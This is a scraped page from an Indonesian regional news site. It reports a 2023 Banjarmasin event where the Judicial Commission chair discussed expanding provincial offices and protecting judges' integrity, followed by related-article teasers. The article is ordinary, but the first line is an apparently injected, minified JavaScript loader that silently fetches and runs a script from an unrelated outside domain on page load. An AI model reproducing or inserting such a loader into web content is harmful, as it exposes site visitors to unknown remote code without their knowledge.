(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Penegakan hukum berkeadilan membutuhkan penegak hukum yang berintegritas tinggi. Itulah kalimat yang harus dipegang oleh para penegak hukum seperti Polri, jaksa, hakim, maupun pengacara.
Hakim sebagai salah satu penegak hukum punya peran vital dalam memutuskan suatu perkara. Untuk itu, tugasnya sebagai pemutus perkara di persidangan harus dilakukan pengawasan untuk memastikan integritasnya.
Komisi Yudisial (KY) yang diamanahi oleh Undang-Undang Dasar (UUD) pasal 24B ayat (1) berfungsi untuk menjaga dan menegakkan kehormatan, keluhuran martabat, serta perilaku hakim. Disamping wewenangnya melakukan pengangkatan hakim agung.
Baca juga: Proyek Jembatan Penghubung Pulau Kalimantan-Pulau Laut Dilanjutkan
Disampaikan Ketua KY RI Prof Dr Mukti Fajar SH MHum, sebelumnya KY hanya punya 12 kantor penghubung di provinsi. Seiring dengan dibangunnya 8 kantor pada tahun 2023, KY telah mempunyai kantor penghubung pada 20 provinsi di Indonesia.
“Kita akan terus bangun, supaya setiap provinsi ada kantor KY,” katanya dalam acara Public Expose Penghubung KY Kalsel di Banjarmasin, Selasa (6/6/2023) malam.
Beban tugas KY sebagai pengawas kehakiman tidak sebanding dengan banyaknya hakim yang ada di Indonesia.
Belum lagi, jumlah kasus yang ditangani oleh seorang hakim dalam sebuah pengadilan, maka tidak menutup kemungkinan potensi hakim melanggar etik menjadi tinggi.
Baca juga: Tebar 40 Ribu Bibit Ikan Baung di Waduk Bandara Syamsudin Noor
“Di Indonesia ada sekitar 964 pengadilan dan hampir 9 ribu hakim. Sementara KY hanya ada di pusat dan 20 wilayah,” ujarnya.
Untuk itu, Ketua KY berharap seluruh elemen masyarakat membantu dalam melakukan pengawasan terhadap perilaku hakim di persidangan.
“Kami butuh elemen masyarakat, kepolisian, kejaksaan, KPK, media, dan sebagainya,” ucapnya.
Lebih lanjut Prof Mukti mengatakan tugas KY bukan sebatas mengawasi perilaku hakim. Lebih jauh tugas KY seusai undang-undang juga melakukan perlindungan terhadap martabat hakim.
Jadi, persepsi masyarakat terhadap lembaga KY sebagai pemberantas hakim dapat ditepis dengan salah satu tugasnya sebagai advokasi hakim.
Baca juga: 33 Adegan Ungkap Pembunuhan Brutal oleh Tujuh Tersangka di Pengaron
“Hakim yang mulia kita harus jaga, jika hakim direndahkan martabatnya misalnya kekerasan atau ditawari suap,” ujarnya.
Pada public expose diperkenalkan empat orang Asisten Penghubung Komisi Yudisial (KY) Kalimantan Selatan yang berkantor di jalan Gatot Subroto, Kota Banjarmasin.
Mereka antara lain Syaban Husin Mubarak, Adlina Adelia, Muhammad Arief, dan Yudha Pratama yang dilantik pada 4 November 2022 lalu. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.